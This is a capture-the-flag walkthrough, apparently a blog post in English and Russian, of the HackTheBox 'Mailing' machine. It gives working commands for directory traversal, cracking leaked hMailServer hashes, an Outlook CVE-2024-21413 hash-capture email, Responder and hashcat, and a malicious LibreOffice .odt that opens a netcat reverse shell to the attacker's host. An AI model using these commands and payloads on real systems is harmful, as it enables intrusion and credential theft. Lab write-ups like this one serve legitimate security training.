
If you've been grinding through HackTheBox machines, Mailing is one of those boxes that genuinely teaches you something. It's rated Easy, runs on Windows, and chains together a few real-world vulnerabilities — a directory traversal, a credential leak, CVE-2024-21413, and a LibreOffice macro exploit. Let's walk through it step by step.
Автор: Mursalin
Если вы штурмуете машины HackTheBox, Mailing — одна из тех, которые действительно чему-то учат. Она оценена как лёгкая, работает под Windows и объединяет несколько реальных уязвимостей: обход каталогов, утечку учётных данных, CVE-2024-21413 и эксплойт макроса LibreOffice. Давайте пройдём её шаг за шагом.
Как обычно, начинаем со сканирования nmap, чтобы понять, с чем имеем дело:
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
Результаты показывают довольно много открытых портов. Основные:
mailing.htb)Отпечаток ОС соответствует Windows 10 или Server 2019, а версия IIS подтверждает, что это как минимум IIS 10. Также замечаем, что подпись SMB-сообщений включена, но не обязательна — запомним на будущее.
Почтовые порты повсюду, но для них, скорее всего, потребуются учётные данные. Веб-сервер на порту 80 — очевидная отправная точка.
После добавления mailing.htb в /etc/hosts сайт выглядит как почтовая хостинговая компания на базе hMailServer. Ничего примечательного на поверхности — раздел «О нас», раздел «Команда» с тремя именами (Ruy Alonso, Maya Bendito, Gregory Smith) и кнопка «Инструкции по загрузке».
Кнопка загрузки указывает на:
http://mailing.htb/download.php?file=instructions.pdf
Параметр file= сразу вызывает подозрения. Давайте проверим его.
Запустил ffuf для поиска поддоменов — ничего интересного не нашёл. Затем feroxbuster для перебора директорий — тоже ничего нового, кроме download.php. Так что всё внимание сосредоточено на этой единственной конечной точке.
Тестируем параметр file на обход каталогов:
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
И это сработало — мы получили содержимое файла hosts Windows. Приложение просто добавляет базовый путь к тому, что мы передаём, и вызывает file_get_contents(). Никакой санитизации, никаких ограничений. Исходный код download.php подтверждает это, когда мы читаем его напрямую:
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
Теперь у нас есть произвольное чтение файлов на машине Windows. Используем это.
hMailServer хранит свою конфигурацию в hMailServer.ini. После небольшого исследования выясняется, что файл находится по адресу:
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
Читаем его через наш обход:
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
Вывод включает:
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
Два MD5-хеша. Загружаю их в CrackStation:
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministratorИтак, у нас есть пароль администратора для hMailServer. Попытка использовать его для SMB как пользователь Windows administrator не удаётся — это не пароль локальной учётной записи, а только пароль администратора почтового сервиса. Однако он работает для аутентификации в SMTP-сервисе, что нам и нужно.
Теперь нужно получить опору как реальный пользователь. На сайте упоминается, что используемый почтовый клиент — Windows Mail (согласно PDF-файлу с инструкциями по установке). Пора проверить известные уязвимости.
CVE-2024-21413 — это уязвимость удалённого выполнения кода в Microsoft Outlook и Windows Mail. Проблема заключается в том, как клиенты обрабатывают URL-адреса протокола file:// в телах писем. Обычно на разные протоколы накладываются ограничения безопасности. Однако исследователи обнаружили, что если URL заканчивается на !что-угодно, эти ограничения молча снимаются. Когда пользователь открывает или даже просматривает письмо с такой ссылкой, клиент автоматически пытается аутентифицироваться на SMB-сервере атакующего — передавая NetNTLMv2-хеш.
На GitHub есть хороший PoC от xaitax. Я клонирую его и запускаю с такими параметрами:
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Проверь это срочно!"
Письмо отправляется успешно. Тем временем на моей атакующей машине запущен Responder для перехвата входящей аутентификации:
sudo /opt/Responder/Responder.py -I tun0
Через минуту или около того клиент Maya открывает письмо, и Responder захватывает её NetNTLMv2-хеш. Я взламываю его с помощью hashcat:
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
Пароль взломан: m4y4ngs4ri
С учётными данными Maya подключаюсь через Evil-WinRM:
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
Мы внутри. Флаг пользователя лежит на рабочем столе Maya.
Пришло время искать путь к root. Исследуя систему, обнаруживаю общую папку с названием Important Documents, и установлен LibreOffice. Это сильный намёк на CVE-2023-2255.
CVE-2023-2255 затрагивает версии LibreOffice до 7.4.7 и 7.5.3. Она использует «плавающие фреймы» — связанные внешние файлы внутри документов .odt. Уязвимость позволяет загружать эти фреймы без запроса разрешения у пользователя, а содержимое может быть макросом, который выполняется при загрузке документа.
PoC от elweth-sec генерирует вредоносный .odt, содержащий команду оболочки. Структура документа включает тег <script> в content.xml, который срабатывает в момент открытия файла LibreOffice.
Генерирую полезную нагрузку для обратной оболочки:
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
Затем загружаю файл .odt и nc64.exe в общую папку SMB Important Documents, используя учётные данные Maya:
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
Из оболочки WinRM Maya копирую nc64.exe в C:\ProgramData, чтобы макрос мог его найти:
copy "\Important Documents\nc64.exe" nc64.exe
Через минуту-другую что-то на машине открывает документ (вероятно, автоматическая запланированная задача), и я перехватываю оболочку на своём netcat-слушателе:
rlwrap -cAr nc -lnvp 443
Прослушивание на 0.0.0.0 443
Получено соединение от 10.10.11.14
Microsoft Windows [Версия 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
Мы работаем от имени localadmin — и флаг root находится на рабочем столе.
Машина была исправлена 15 мая 2024 года — всего через 11 дней после выхода — потому что исходный download.php на самом деле использовал PHP-функцию include() вместо file_get_contents(). Это превращало простое чтение файла в полноценную уязвимость Local File Inclusion, то есть любой PHP-код в читаемом файле выполнялся.
Непредусмотренный путь заключался в отравлении SMTP-логов hMailServer (подключение через telnet и внедрение PHP в команду HELO), а затем включение этого лог-файла через LFI для получения выполнения кода от имени defaultapppool. Оттуда SeImpersonatePrivilege + GodPotato = SYSTEM. Совсем другой маршрут к root.
Цепочка атак на Mailing выглядит так:
download.phphMailServer.ini → взлом MD5-хеша администратораЭта машина отлично демонстрирует объединение реальных CVE в правдоподобную цепочку. Шаги эксплуатации не слишком сложны, но на каждом этапе нужно понимать, что делаешь. Определённо стоит повторить, если готовишься к OSCP.
Спасибо за чтение! Подписывайтесь на меня в Medium, чтобы не пропустить новые прохождения HTB и CTF.
— Mursalin